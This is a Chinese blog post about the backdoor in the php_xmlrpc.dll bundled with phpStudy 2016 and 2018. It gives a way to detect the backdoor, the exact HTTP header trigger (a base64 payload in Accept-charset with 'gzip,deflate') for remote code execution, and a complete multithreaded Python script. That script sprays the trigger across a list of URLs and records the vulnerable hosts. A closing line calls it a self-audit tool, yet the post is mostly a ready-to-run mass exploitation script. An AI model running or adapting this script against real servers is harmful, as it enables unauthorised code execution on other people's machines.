phpstudy 后门批量利用脚本改良版 ——yzddMr6

前言

看到新闻后本来以为影响范围小没多大事。。。

直到发现自己的两个电脑全都中招了才意识到问题大了。。。

不过还好自己当初安装phpstudy后第一时间关了对外端口,只允许本地127.0.0.1访问

并且用的一直是php5.6,完美避开两个后门版本

如果不是新闻爆出来谁能想到这玩意还有后门。。。

awsl,这谁顶得住啊。

后门检测

后门版本:

phpStudy2016 和 phpStudy2018 自带的 php-5.2.17、php-5.4.45两个版本

phpStudy2016路径

php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

phpStudy2018路径

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl

用记事本打开文件,查找@eval

如果存在@eval(%s('%s'))那么恭喜你中奖了

(附上本人中奖截图)

phpstudy 后门批量利用脚本改良版 ——yzddMr6_第1张图片
image

后门利用

原理就不说了,直接看如何利用

只要在任意一个php页面上加上这两个文件头即可达到RCE

Accept-Encoding: gzip,deflate
Accept-charset: cGhwaW5mbygpOw==  //phpinfo();

其中Accept-Encoding中的gzip,deflate中间注意是没有空格的

这是后门触发的一个关键

Accept-charset中填写base64编码后的payload

phpstudy 后门批量利用脚本改良版 ——yzddMr6_第2张图片
image

批量脚本

脚本现在已经有很多了,自己也懒得写了

可以直接看清心师傅的博客

https://www.cnblogs.com/-qing-/p/11575622.html

但是有个问题就是清心的脚本误报特别高

原因是他是利用执行echo qing;后查看返回页面中有没有qing这个单词来判断的

然而实际上很多页面中本来就附带有这个单词,不具有特征性,就产生了大量误报。

所以自己改了一下脚本内容,使其准确率达到了百分之百

主要修改内容

  1. 用echo md5(123)代替echo qing

  2. 自定义检测文件名

  3. 关了https警告

import base64

import requests

import threading

import threadpool

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

files=input('files:\n')

def write_shell(url):

    payload = "echo md5(123);"

    payload = base64.b64encode(payload.encode('utf-8'))

    headers = {

    'Upgrade-Insecure-Requests': '1',

    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',

    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',

    'Accept-Language': 'zh-CN,zh;q=0.9',

    'accept-charset': payload,

    'Accept-Encoding': 'gzip,deflate',

    'Connection': 'close',

}

    try:

        r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=10)

        if "202cb962ac59075b964b07152d234b70" in r.text:

            print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')

            with open(files+'.success.txt','a') as f:

                    f.write(url+'\n')

        else:

            print ('[ - ] BackDoor failed: '+url+'[ - ]\n')

    except:

        print ('[ - ] Timeout: '+url+' [ - ]\n')



def main():

    with open(files,'r') as f:

        lines = f.read().splitlines()

        task_pool=threadpool.ThreadPool(10)

        requests=threadpool.makeRequests(write_shell,lines)

    for req in requests:

        task_pool.putRequest(req)
        task_pool.wait() 

if __name__ == '__main__':
    main()


## 警告!

**脚本仅用于资产自查,请勿用于非法用途!**

你可能感兴趣的:(phpstudy 后门批量利用脚本改良版 ——yzddMr6)